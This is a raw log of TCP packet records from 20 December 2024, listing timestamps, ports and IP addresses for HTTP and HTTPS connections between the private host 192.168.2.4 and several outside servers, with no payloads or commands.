Dec 20, 2024 07:12:32.239207029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.239331007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.240287066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.240333080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.240403891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.241463900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.241525888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.241545916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.242620945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.242671013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.242738962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.243801117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.243854046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.243872881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.244071007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.247220993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.247390985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.247448921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.247766018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.247853041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.247920036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.248925924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.249038935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.249082088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.249542952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.250108957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.250164986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.250207901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.250359058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.251293898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.251344919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.251386881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.251430035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.252475023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.252578020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.252712011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.252712011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.253658056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.253756046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.253829002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.254820108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.254923105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.254976988 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.255994081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.256110907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.256206989 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.257181883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.257236958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.257325888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.257548094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.258354902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.258450031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.258483887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.258585930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.259565115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.259622097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.259670973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.259746075 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.260715961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.260770082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.260859966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.260921955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.261888027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.262003899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.262048960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.262397051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.263076067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.263144970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.263195038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.263293982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.264255047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.264391899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.264415026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.264477015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.265463114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.265547037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.265578985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.265667915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.266616106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.266742945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.266766071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.266809940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.267786026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.267842054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.267877102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.267942905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.268969059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.269021988 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.269103050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.269164085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.270145893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.270224094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.270251989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.270302057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.271327019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.271394014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.271430016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.271519899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.272502899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.272587061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.272623062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.272689104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.273663998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.273765087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.286967039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.287031889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.803847075 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:32.803962946 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:32.806596994 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:32.806627989 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:32.807673931 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:32.808826923 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:32.809547901 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:32.809576988 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:32.809685946 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:32.809709072 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:32.809827089 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:32.809938908 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:32.813616991 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:32.813642979 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:32.814580917 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:32.814609051 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:32.814785004 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:32.814817905 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:32.814826965 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:32.814835072 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:32.815047026 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:32.815077066 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:32.815104008 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:32.815308094 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:32.815340042 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:32.855354071 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:32.855597973 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:32.855674028 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:32.855719090 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:32.873857021 CET	443	49823	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:32.873977900 CET	49823	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:32.893178940 CET	49823	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:32.893204927 CET	443	49823	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:32.893446922 CET	443	49823	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:32.894568920 CET	49823	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:32.894721985 CET	49823	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:32.894743919 CET	443	49823	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:32.903333902 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:33.692194939 CET	443	49823	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:33.692323923 CET	443	49823	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:33.692406893 CET	49823	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:33.693025112 CET	49823	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:33.693042040 CET	443	49823	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:34.103672028 CET	49830	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:34.103738070 CET	443	49830	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:34.103832960 CET	49830	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:34.104160070 CET	49830	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:34.104192972 CET	443	49830	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:34.725529909 CET	49795	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:34.725822926 CET	49832	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:34.845632076 CET	80	49832	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:34.845805883 CET	80	49795	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:34.845899105 CET	49795	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:34.846102953 CET	49832	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:34.846102953 CET	49832	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:34.966012955 CET	80	49832	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:35.315325975 CET	443	49830	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:35.315409899 CET	49830	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:35.316567898 CET	49830	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:35.316598892 CET	443	49830	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:35.316844940 CET	443	49830	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:35.318391085 CET	49830	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:35.318583012 CET	49830	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:35.318629980 CET	443	49830	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:35.318722963 CET	49830	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:35.318739891 CET	443	49830	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:35.468410969 CET	49836	443	192.168.2.4	34.226.108.155
Dec 20, 2024 07:12:35.468444109 CET	443	49836	34.226.108.155	192.168.2.4
Dec 20, 2024 07:12:35.468750954 CET	49836	443	192.168.2.4	34.226.108.155
Dec 20, 2024 07:12:35.490325928 CET	49836	443	192.168.2.4	34.226.108.155
Dec 20, 2024 07:12:35.490339994 CET	443	49836	34.226.108.155	192.168.2.4
Dec 20, 2024 07:12:36.179577112 CET	80	49832	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:36.181597948 CET	49832	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:36.185179949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:36.185354948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:36.292921066 CET	443	49830	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:36.293006897 CET	443	49830	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:36.293080091 CET	49830	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:36.296019077 CET	49830	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:36.296037912 CET	443	49830	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:36.304855108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:36.304944992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:36.305058956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:36.305088997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:36.305104971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:36.424571037 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:36.933012962 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:36.933265924 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:36.933563948 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:36.935481071 CET	49822	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:36.935508966 CET	443	49822	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:36.960994005 CET	49841	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:36.961087942 CET	443	49841	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:36.961164951 CET	49841	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:36.961667061 CET	49841	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:36.961702108 CET	443	49841	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:37.224271059 CET	443	49836	34.226.108.155	192.168.2.4
Dec 20, 2024 07:12:37.230839014 CET	49836	443	192.168.2.4	34.226.108.155
Dec 20, 2024 07:12:37.230848074 CET	443	49836	34.226.108.155	192.168.2.4
Dec 20, 2024 07:12:37.231719971 CET	443	49836	34.226.108.155	192.168.2.4
Dec 20, 2024 07:12:37.231787920 CET	49836	443	192.168.2.4	34.226.108.155
Dec 20, 2024 07:12:37.233043909 CET	49836	443	192.168.2.4	34.226.108.155
Dec 20, 2024 07:12:37.233098984 CET	443	49836	34.226.108.155	192.168.2.4
Dec 20, 2024 07:12:37.275320053 CET	49836	443	192.168.2.4	34.226.108.155
Dec 20, 2024 07:12:37.275329113 CET	443	49836	34.226.108.155	192.168.2.4
Dec 20, 2024 07:12:37.281199932 CET	49836	443	192.168.2.4	34.226.108.155
Dec 20, 2024 07:12:37.327325106 CET	443	49836	34.226.108.155	192.168.2.4
Dec 20, 2024 07:12:37.601368904 CET	443	49836	34.226.108.155	192.168.2.4
Dec 20, 2024 07:12:37.601433992 CET	443	49836	34.226.108.155	192.168.2.4
Dec 20, 2024 07:12:37.601492882 CET	49836	443	192.168.2.4	34.226.108.155
Dec 20, 2024 07:12:37.619324923 CET	49836	443	192.168.2.4	34.226.108.155
Dec 20, 2024 07:12:37.619330883 CET	443	49836	34.226.108.155	192.168.2.4
Dec 20, 2024 07:12:37.632730961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.632775068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.632806063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.632813931 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.632908106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.632908106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.632987976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.633022070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.633040905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.633058071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.633071899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.633088112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.633111954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.633131981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.633142948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.633164883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.633192062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.633198977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.633215904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.633270025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.663271904 CET	49844	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:37.663295984 CET	443	49844	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:37.663372993 CET	49844	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:37.663825989 CET	49844	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:37.663839102 CET	443	49844	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:37.752506018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.752563000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.752578020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.752636909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.756582975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.756648064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.824914932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.824982882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.825037956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.825037956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.829024076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.829210997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.829237938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.829299927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.837408066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.837477922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.837552071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.837620020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.845818996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.845876932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.845885992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.845941067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.854157925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.854222059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.854326963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.854387045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.862557888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.862624884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.862675905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.862737894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.870912075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.870995045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.870996952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.871073008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.879252911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.879333973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.879349947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.879404068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.887686968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.887747049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.887783051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.887826920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.896027088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.896097898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.896117926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.896178961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.903669119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.903723001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.903753042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.903794050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.944591045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.944638968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:37.944663048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:37.944715023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.016928911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.016994953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.017045021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.017100096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.019265890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.019347906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.020149946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.020206928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.020224094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.020252943 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.024908066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.024970055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.025008917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.025058985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.029674053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.029740095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.029742002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.029798985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.034369946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.034444094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.034466982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.034517050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.039062023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.039124966 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.039165020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.039241076 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.043725014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.043814898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.043817043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.043867111 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.048407078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.048470974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.048500061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.048551083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.053138971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.053184032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.053225040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.053258896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.057775974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.057846069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.057849884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.057904959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.062444925 CET	80	49838	31.41.244.11	192.168.2.4
